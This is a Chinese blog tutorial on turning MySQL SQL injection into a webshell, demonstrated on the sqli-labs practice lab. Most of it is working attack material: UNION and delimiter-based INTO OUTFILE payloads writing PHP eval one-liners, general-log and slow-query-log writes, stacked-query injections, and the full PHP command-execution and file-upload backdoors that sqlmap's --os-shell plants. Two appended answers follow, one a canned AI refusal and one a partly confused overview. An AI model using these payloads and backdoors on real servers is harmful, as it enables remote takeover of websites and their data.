SQL注入GetShell的方法(1)

目录

一、注入条件

二、注入相关函数和语句

三、联合写入

四、分隔符写入

五、日志写入

六、堆叠写入

七、--os-shell


一、注入条件

使用sql注入进行文件上传功能获取getshell,它有以下三个条件

1、最高用户权限 root

2、网站的根路径

3、开启secure_file_priv功能,要具有读写权限

//查看读写权限 show variables like '%secure%'
(1)secure_file_priv= 代表对文件读写没有限制
(2)secure_file_priv=NULL 代表不能进行文件读写
(3)secure_file_priv=d :/phpstudy /mysql/data 代表只能对该路径下文件进行读写

二、注入相关函数和语句

1、load_file()

load_file(file_name) :读取文件并返回该文件的内容作为一个字符串 
使用条件: 
1、必须有权限读取并且文件必须完全可读 and (select count(*) from mysql.user)>0/* 如果结果返回正常,说明具有读写权限。 and (select count(*) from mysql.user)>0/* 返回错误,应该是管理员给数据库帐户降权 
2、欲读取文件必须在服务器上 
3、必须指定文件完整的路径Mysql 注入
4、欲读取文件必须小于 max_allowed_packet 如果该文件不存在,或因为上面的任一原因而不能被读出,函数返回空。比较难满足的就是权限,在 windows 下,如果 NTFS 设置得当,是不能读取相关的文件的,当遇到只有administrators 才能访问的文件,users 就别想 load_file 出来。

2、load data infile

LOAD DATA INFILE 'file_path'
INTO TABLE table_name[OPTIONS] 
用于高速地从一个文本文件中读取行,并装入一个表中。文件名称必须为一个文字字符串 
​
其中,file_path为要导入的文件路径,table_name为目标表的名称,OPTIONS为可选项,用于指定一些导入参数,如字段分隔符、行分隔符等。

3、into outfile

INTO OUTFILE 'file_name' 
用于将查询结果导出到指定的文件中,其中的'file_name'是导出文件的路径和文件名 
​
我们一般有两种利用形式: 
第一种直接将 select 内容导入到文件中: 
Select version() into outfile “c:\\phpnow\\htdocs\\test.php”  此处将 version()替换成一句话,<?php @eval($_post[“mima”])?> 也即 Select <?php @eval($_post[“mima”])?> into outfile “c:\\phpnow\\htdocs\\test.php”  直接连接一句话就可以了,其实在 select 内容中不仅仅是可以上传一句话的,也可以上传很多的内容。 
​
​
第二种修改文件结尾: Select version() Into outfile “c:\\phpnow\\htdocs\\test.php” LINES TERMINATED BY 0x16 进制文件 解释:通常是用‘\r\n’结尾,此处我们修改为自己想要的任何文件。同时可以用 FIELDSTERMINATED BY16 进制可以为一句话或者其他任何的代码,可自行构造。 
​
在 sqlmap 中 os-shell 采取的就是这样的方式,具体可参考 os-shell分析文章http://www.cnblogs.com/lcamry/p/5505110.html

三、联合写入

来自sqli-labs第七关

先判断注入点

判断注入类型

发现只有在错误的时候才有进行提示不过没有提示哪里出错了,成功是正常显示

典型的盲注,那么先使用构造基本的poc进行测试

1'and sleep(5)--+           #未成功延时
1''and sleep(5)--+          #未成功延时
1')and sleep(5)--+          #未成功延时
1")and sleep(5)--+          #未成功延时
1'))and sleep(5)--+         #成功延时,证明此处闭合为(('$id'))

判断列数

1')) order by 3 --+			#使用3正常,4提示错误

构造上传语句

-1')) union select 1,"<?php eval($_REQUEST[1]);?>",3 into outfile 'C:\\phpStudy\\WWW\\sqli-labs-master\\Less-7\\outfile.php' --+

可以看到已经生成成功了

四、分隔符写入

当mysql将联合注入语句给过滤的时候就要找一些能平替的方式去写webshell,sql注入写入webshell的方式也是今年hvv问的最多的了

使用分隔符一共有4中形式
1 limit 0,1 INTO OUTFILE '物理路径' lines terminated by  (一句话木马)
1 limit 0,1 INTO OUTFILE '物理路径' fields terminated by  (一句话木马)'\#'
1 limit 0,1 INTO OUTFILE '物理路径' columns terminated by  (一句话木马)'\#'
1 limit 0,1 INTO OUTFILE '物理路径' lines starting by 	(一句话木马)'\r\n'

因为 INTO OUTFILE 的语法是将查询结果写入到文件中,如果不使用limit 0,1加上限制只写入第一条数据,那么可能会将整张表的数据都写入到文件中,造成不必要的麻烦。

将一句话木马转化为16进制就不需要使用分隔符了

lines terminated by

LINES TERMINATED BY 是 INTO OUTFILE 命令的一部分,用于指定输出文件中的每行数据的终止符
也就是在写入木马文件时,每行数据都会以指定的一句话木马结束,从而确保写入的一句话木马在木马文件中能够被正确识别,可以直接理解为在每行终止的位置添加木马

1')) LIMIT 0,1 INTO OUTFILE 'C:\\phpStudy\\WWW\\sqli-labs-master\\Less-7\\1.php' lines terminated by "<?php eval($_REQUEST[1]);?>"  --+

fields terminated by

用于指定在输出文件中分隔字段的字符。
每个字段的位置添加木马

1')) LIMIT 0,1 INTO OUTFILE 'C:\\phpStudy\\WWW\\sqli-labs-master\\Less-7\\2.php' fields terminated by "<?php eval($_REQUEST[1]);?>"  --+

columns terminated by

用于指定输出到文件中的列之间的分隔符
每个列位置之间添加木马

1')) LIMIT 0,1 INTO OUTFILE 'C:\\phpStudy\\WWW\\sqli-labs-master\\Less-7\\3.php' columns terminated by "<?php eval($_REQUEST[1]);?>" --+

 

lines starting by

每一行的起始位置
每一行的起始位置
1')) LIMIT 0,1 INTO OUTFILE 'C:\\phpStudy\\WWW\\sqli-labs-master\\Less-7\\4.php' lines starting by "<?php eval($_REQUEST[1]);?>" --+

五、日志写入

原理:

通过构造恶意的SQL语句,使其在执行时会将攻击者指定的一段代码写入到MySQL的一般日志文件中,从而达到写入WebShell的目的

日志文件:

show variables like '%log%';         //查看log文件

1、日志集合(general_log):记录了所有客户端和服务端的交互信息,包括sql语句,连接,断开,错误信息等等,默认是关闭的

2、错误日志(log_error):记录MySQL Server启动和运行过程中的错误和警告信息。
PS:错误日志已经被设置为只读文件了,可以在my.ini中进行添加,不能在使用set去进行修改,如果要利用错误日志的话可以使用show variables like '%log_error%'去获取他是否开启了错误日志。

3、慢查询日志(Slow_query_log):记录执行时间超过指定时间(默認10秒)的SQL语句,通常用于优化查询性能。

4、二进制日志(log_bin):记录所有对数据库的更改操作,可以用于数据备份和恢复,以及主从复制等功能。

目前我测试能成功上传Webshell的就只有这四种日志文件,如果还有其他可以用的日志文件欢迎来与作者讨论

条件:

最高用户权限 root (具有读写权限)
开启相应日志记录
日志文件的绝对路径
能解析代码

案例:

 **general_log**  //默认关闭是OFF,开启是ON,也可以使用0或者1表示,0表示关闭,1表示开启
 
先开启general_log日志记录文件

SET SESSION general_log = 1;
SET SESSION log_output = 'file';
SET SESSION general_log_file = 'C:\phpStudy\WWW\sqli-labs-master\mysql.log';

开启日志,以日志以文件的形式写入到mysql.log中

SET GLOBAL general_log = 1;
SET GLOBAL log_output = 'file';
SET GLOBAL general_log_file = 'C:\phpStudy\WWW\sqli-labs-master\mysql.log';

改是改过来了又有发现一个问题,我直接从windows上复制下来的目录"\",在mysql中被转义了。。。 尴尬

SET GLOBAL general_log_file = 'C:/phpStudy/WWW/sqli-labs-master/mysql.log';

随便在一个地方输入1 select '<?php eval($_REQUEST[1]);?>' --+
被记录到日志文件里面了

不过还是连接不上,想起了当时学文件包含的时候jpg这种图片不能解析php代码,所以我就在想是不是log后缀也不能解析php代码,尝试了很多次果然还是解析不了的,那么就将log的后缀改为php在试试

随便进入一个sql注入靶场,1 select '<?php eval($_REQUEST[1]);?>' --+ 就算闭合错误也没有关系,general_log这个文件也会记录错误的信息,只要一句话木马没错就好

那么这个日志写入就是这么一回事了,要注意的是开启日志功能,有写入修改权限,修改日志文件为php格式要能被解析,可能大家会说触发条件太苛刻了,那不知道你们有没有想过使用堆叠注入一把梭哈呢???

六、堆叠写入

原理:在sql语句中“;”代表结束语句,而我们在sql注入过程中在“;”的后面在加上sql语句,那么这种能被执行的就叫堆叠注入,我们可以在堆叠的地方写入一句话木马从而获取到webshell

';SELECT "<?php eval($_REQUEST[1]);?>" INTO OUTFILE 'C:\\phpStudy\\WWW\\sqli-labs-master\\Less-38\\5.php' --+

 

 

慢查询日志写入:
';set global slow_query_log=1;set global slow_query_log_file="C:\\phpStudy\\WWW\\sqli-labs-master\\Less-38\\querylog.php";select if(sleep(11),"<?php eval($_REQUEST[1]);?>","<?php eval($_REQUEST[1]);?>") --+

效果出来就ok了,我在phpmyadmin里面就可能直接执行所有的语句到了第38关好像就不行了

七、--os-shell

1、sqlmap通过注入攻击获取到服务器的访问权限,包括操作系统的访问权限和数据库的访问权限。
2、sqlmap启动一个交互式的命令行shell,使得攻击者可以直接通过命令行与受攻击服务器进行交互。
3、sqlmap将建立一个TCP连接,将命令行的输入和输出通过该连接发送到目标服务器上的一个后门程序中。
4、目标服务器上的后门程序将接收到sqlmap发送的命令行输入,并在服务器上执行相应的操作。
5、后门程序将命令行输出发送回sqlmap,sqlmap再将其显示在交互式shell中,从而实现了与受攻击服务器的交互。

案例:

以sqli-labs第一关当成例子

sqlmap -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1' --os-shell

选择脚本语言

1、系统自带路径
2、自定义路径
3、目录字典
4、爆破

tmpbqghp.php 			#命令执行文件

<?php 
$c = $_REQUEST["cmd"];	   #通过$_request["cmd"]获取http请求中的"cmd"参数,将其存放到变量"$C"中
@set_time_limit(0);					#不限制脚本执行时间
@ignore_user_abort(1);				#用户关闭连接后,脚本仍然继续执行
@ini_set("max_execution_time",0);		#脚本最大执行时间,0为不限制
$z = @ini_get("disable_functions");
if (!empty($z)) {
    $z = preg_replace("/[, ]+/", ',', $z);
    $z = explode(',', $z);
    $z = array_map("trim", $z);	
} else {
    $z = array();
}									#通过 @ini_get 函数获取 PHP 中被禁用的函数列表,将其存储到变量 $z 中,并将其转换为数组格式。如果没有被禁用的函数,则将其设置为空数组。
$c = $c . " 2>&1\n";					#将错误输出重定向到标准输出中

function f($n) {
    global $z;
    return is_callable($n) and !in_array($n, $z);
}

if (f("system")) {
    ob_start();
    system($c);
    $w = ob_get_clean();
} elseif (f("proc_open")) {
    $y = proc_open($c, array(array(pipe, r), array(pipe, w), array(pipe, w)), $t);
    $w = NULL;
    while (!feof($t[1])) {
        $w .= fread($t[1], 512);
    }
    @proc_close($y);
} elseif (f("shell_exec")) {
    $w = shell_exec($c);
} elseif (f("passthru")) {
    ob_start();
    passthru($c);
    $w = ob_get_clean();
} elseif (f("popen")) {
    $x = popen($c, r);
    $w = NULL;
    if (is_resource($x)) {
        while (!feof($x)) {
            $w .= fread($x, 512);
        }
    }
    @pclose($x);
} elseif (f("exec")) {
    $w = array();
    exec($c, $w);
    $w = join(chr(10), $w) . chr(10);
} else {
    $w = 0;
}
			#定义了一个函数 f,用于检查指定的函数是否可用,如果不存在任何一个可以执行系统命令的函数,则将 $w 设置为 0
echo "<pre>$w</pre>";
?>				#将结果以 HTML 格式输出到浏览器上
tmpuppph.php    	#上传文件

<?php
if (isset($_REQUEST["upload"])) {
    $dir = $_REQUEST["uploadDir"];
    if (phpversion() < '4.1.0') {
        $file = $HTTP_POST_FILES["file"]["name"];
        @move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"], $dir."/".$file) or die();
    } else {
        $file = $_FILES["file"]["name"];
        @move_uploaded_file($_FILES["file"]["tmp_name"], $dir."/".$file) or die();
    }
    @chmod($dir."/".$file, 0755);
    echo "File uploaded";
} else {
    echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=C:\\phpStudy\\WWW\\sqli-labs-master\\Less-1\\> <input type=submit name=upload value=upload></form>";
}
?>   
    #检查是否收到了名为 "upload" 的请求参数,如果有,它会获取名为 "uploadDir" 的参数,然后根据 PHP 版本不同,使用不同的方法来上传文件。然后它会将文件的权限设置为 0755,并返回一个 "File uploaded" 的字符串。如果没有收到 "upload" 参数,它会输出一个 HTML 表单,允许用户上传文件,并指定上传到的目录

访问http://127.0.0.1/sqli-labs-master/Less-1/tmpuppph.php上传一个木马文件上去

总结:--os-shell就上往服务器上写入两个木马文件,一个是文件上传使用,一个是通过url进行传参利用命令执行

### 回答1: 很抱歉,我作为AI语言模型不能提供有关SQL注入shell的信息。SQL注入是一种安全漏洞,可以通过在应用程序中注入恶意代码来获取未经授权的访问权限。而写shell是指编写脚本来执行一系列命令,这与SQL注入无关。请注意保护您的应用程序免受SQL注入攻击,并遵守相关的安全规范。 ### 回答2: SQL注入shell是一种利用数据库系统的漏洞,以执行恶意代码的方式来获取控制权和执行对系统的攻击。具体步骤如下: 1. 进行SQL注入攻击:首先,攻击者需要找到目标系统存在SQL注入漏洞的位置,通常是通过向用户输入的参数中插入恶意代码来实现。常见的注入点包括输入框、URL参数或表单字段。 2. 确定数据库类型:根据目标系统所使用的数据库类型(如MySQL、Oracle、MS SQL Server等),攻击者需要编写相应的注入代码。 3. 构造注入语句:攻击者需要构造特定的SQL注入语句,以执行命令并获取系统控制权。例如,攻击者可以使用UNION语句将恶意代码插入到现有的SQL查询中。 4. 写入恶意代码:通过注入语句,攻击者可以将恶意代码写入数据库中。这段代码通常是一段能够执行系统命令的Shell脚本。 5. 执行恶意代码:在恶意代码被写入数据库后,攻击者可以通过执行相关的SQL查询来触发它,并实现远程命令执行。这样就可以获取系统的控制权,并执行各种攻击操作。 为了防止SQL注入攻击,开发人员需要采取以下措施: 1. 输入验证:对用户输入的数据进行严格的格式验证和过滤,防止恶意代码的注入。 2. 参数化查询:使用参数化的SQL查询语句,而不是拼接字符串的方式,可以确保输入数据不会被解释为代码。 3. 最小权限原则:将数据库用户的权限设置为最低,以限制攻击者对系统的访问。 4. 定期更新和修补:保持数据库系统和相关软件的更新,并及时修补已知的漏洞,以防止利用已知的攻击手法。 总之,SQL注入shell是一种危险的攻击方式,可通过有效的输入验证和安全编码实践来防止。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值